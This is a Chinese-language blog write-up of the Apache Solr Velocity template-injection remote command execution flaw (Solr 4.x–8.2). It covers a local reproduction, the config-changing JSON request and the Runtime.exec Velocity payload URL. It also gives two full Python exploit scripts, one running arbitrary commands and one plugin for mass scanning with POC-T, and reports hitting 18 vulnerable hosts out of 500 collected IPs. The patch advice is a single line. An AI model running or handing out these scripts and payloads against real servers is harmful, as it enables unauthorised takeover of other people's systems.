Solr Velocity rce

Apache Solr Velocity模版注入远程命令执行漏洞复现以及POC编写

作者:Whitesun

0x01 漏洞概述

19年10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复现,此漏洞已经能够被批量利用。

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

该漏洞的产生原因:Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中,params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的POST请求,将params.resource.loader.enabled的值修改为true,在服务器上进行命令执行,从而获取服务器的权限。如果在赔上solr未授权访问漏洞,存在于外网的大部分solr服务器将不堪一击!

关于params.resource.loader.enabled的介绍:

https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html

0x02 影响范围

solr 4.x~solr 8.2 版本

0x03 本地复现

通过清华大学镜像站下载个7.7版本的solr

1578276338655

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/

安装到kail,因为在kail上可以不用再去配置Java环境。(使用docker也可以)

我直接解压到桌面然后启动起来,启动记得加上 -force ,不然会提示你存在安全风险。

cd solr-7.7.2/

./bin/solr start -force

1578276560216

可以看到solr服务已经启动起来,默认端口为8983。接下来我们使用浏览器访问solr,此时没做任何配置是存在solr未授权访问的,所以只在浏览器新建一个core。(可能会遇到无法添加core问题,将 /solr-7.7.0/server/solr/configsets/_default 下的 conf 文件夹复制到 new_core 文件夹下即可。)

我这里已经添加成功了,现在就可以利用安全研究员S00pY所提供的的POC来验证即可。

1578277325466

这个POC的思路是向某个core的config文件POST发送一个json格式的数据包,将 params.resource.loader.enabled 设置为 ture(默认为false)

1578278035752

当返回包为200(某些低版本为500)时,就说明我们修改的配置已经生效可以进行命令执行。

1
2
3
4
5
6
7
8
9
10
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir":"",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

1578278904477

此时,在查看new_core的config的params.resource.loader.enabled 的值,已经为ture

1578278140818

此时,利用给出的poc直接访问即可。

<http://192.168.153.131:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end>

1578279117695

相关分析:

在现今的软件开发过程中,软件开发人员将更多的精力投入在了重复的相似劳动中。特别是在如今特别流行的 MVC 架构模式中,软件各个层次的功能更加独立,同时代码的相似度也更加高。所以我们需要寻找一种来减少软件开发人员重复劳动的方法,让程序员将更多的精力放在业务逻辑以及其他更加具有创造力的工作上。Velocity 这个模板引擎就可以在一定程度上解决这个问题。

Velocity 是一个基于 Java 的模板引擎框架,提供的模板语言可以使用在 Java 中定义的对象和变量上。Velocity 是 Apache 基金会的项目,开发的目标是分离 MVC 模式中的持久化层和业务层。但是在实际应用过程中,Velocity 不仅仅被用在了 MVC 的架构中,还可以被用在以下一些场景中。

  1. Web 应用:开发者在不使用 JSP 的情况下,可以用 Velocity 让 HTML 具有动态内容的特性。
  2. 源代码生成:Velocity 可以被用来生成 Java 代码、SQL 或者 PostScript。有很多开源和商业开发的软件是使用 Velocity 来开发的。
  3. 自动 Email:很多软件的用户注册、密码提醒或者报表都是使用 Velocity 来自动生成的。使用 Velocity 可以在文本文件里面生成邮件内容,而不是在 Java 代码中拼接字符串。
  4. 转换 xml:Velocity 提供一个叫 Anakia 的 ant 任务,可以读取 XML 文件并让它能够被 Velocity 模板读取。一个比较普遍的应用是将 xdoc 文档转换成带样式的 HTML 文件。

它允许任何人仅仅使用简单的模板语言(template language)来引用由java代码定义的对象。Velocity可以获取在java语言中定义的对象,从而实现界面和java代码的真正分离,这意味着可以使用Velocity替代jsp的开发模式了

当Velocity应用于Web开发时,界面设计人员可以和java程序开发人员同步开发一个遵循MVC架构的web站点,也就是说,页面设计人员可以只关注页面的显示效果,而由java程序开发人员关注业务逻辑编码。Velocity将java代码从web页面中分离出来,这样为web站点的长期维护提供了便利,同时也为我们在JSP和PHP之外又提供了一种可选的方案。

针对这个漏洞,大概来说的话,因为Velocity模板语言可以使用在 Java 中定义的对象和变量上。这个payload的核心就是构造了一个自定义的Velocity模板,来通过Java的Runtime.getRuntime().exec()来执行命令

1
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

对这个一些payload的参数进行解释。

  • 参数wt - 输出结果格式,通常为json/xml等格式,如果设置值为velocity,则会通过velocity引擎解析(重点)
  • 参数v.template - 模版名称,payload设置模版名称为custom
  • 参数v.template.custom - 自定义模板custom 的具体内容。也就是我们通过这个自定义的模板来执行命令。

现在相信大家对于这个payload就有比较清晰的理解了,无奈本人对于Java也只处于了解一点的程度。更加深层次的分析参考seebug和先知社区。

https://paper.seebug.org/1107/

https://xz.aliyun.com/t/6700

0x04 修补方法

修补方法:升级到最新的solr8.4版本

0x05 POC编写

知道这个漏洞的实现原理后POC的编写就很简单了,利用python2.7编写。用到了sys、request、json模块。这里最后把输入的命令进行下URL编码。也就是POC中的CMD。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding: utf-8 -*-
import requests
import json
import sys
from urllib import quote_plus


def main(url, cmd):
# def main(url):
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'

r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]

newurl = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}

modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}
#data=json.dumps(payload)
res = requests.post(newurl, headers=modifyConfig_headers,json=modifyConfig_json)
cmd = quote_plus(cmd)
if res.status_code == 200 or 500:
try:
p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('{}'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format(
cmd)
target = url + '/solr/' + jas502n_Core_Name + p
print u'命令执行url:'
print target
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
print u'命令执行结果:'
print result.content
except Exception as e:
print
'failed'


if __name__ == '__main__':
print
main(sys.argv[1], sys.argv[2])

POC使用时直接加上url就行,但是url最后不要有斜杠。

1578279445556

0x06 批量验证

采用Xyntax大佬的渗透测试插件化并发框架 POC-T

https://github.com/Xyntax/POC-T

1578280225613

1578280236707

这个框架实现漏洞验证非常简便而对于POC的编写也很友好。

1578279815956

将我们的代码稍微改进一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding: utf-8 -*-
import requests
import re
import sys
import json

def poc(url):
if '://' not in url:
url = 'http://' + url
try:
core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'

r = requests.get(url=core_selector_url)
json_strs = json.loads(r.text)
if r.status_code == 200 and "responseHeader" in r.text:
list = []
for core_selector in json_strs['status']:
list.append(json_strs['status']['%s' % core_selector]['name'])
jas502n_Core_Name = list[0]

debug_model_url = url + '/solr/' + jas502n_Core_Name + '/config'
modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
"Content-Type": "application/json"}

modifyConfig_json = {
"update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "", "solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"}}

r3 = requests.post(debug_model_url, headers=modifyConfig_headers,json=modifyConfig_json)
if r3.status_code == 200 or 500:

p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
target = url + '/solr/' + jas502n_Core_Name + p
result = requests.get(url=target)
if result.status_code == 200 and len(result.text) < 65:
return url
except Exception :
pass
1
2


然后将收集到的url进行批量验证

python2 POC-T.py -eT -t 50 -s solr_new_poc.py -iF C:\Users\Administrator\Desktop\txt\solrtest.txt

500个ip找到了18个存在漏洞的solr

1578280695409

更对关于POC-T的使用请移步GitHub(虽然作者很久没更新了哈哈哈,但是还是很好用的)

0x07 参考

https://www.freebuf.com/column/218801.html

https://cloud.tencent.com/developer/article/1532753

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

https://github.com/theLSA/solr-rce

https://github.com/Xyntax/POC-T

文章目录
  1. 1. Apache Solr Velocity模版注入远程命令执行漏洞复现以及POC编写
    1. 1.0.1. 0x01 漏洞概述
    2. 1.0.2. 0x02 影响范围
    3. 1.0.3. 0x03 本地复现
    4. 1.0.4. 0x04 修补方法
    5. 1.0.5. 0x05 POC编写
    6. 1.0.6. 0x06 批量验证
    7. 1.0.7. 0x07 参考
,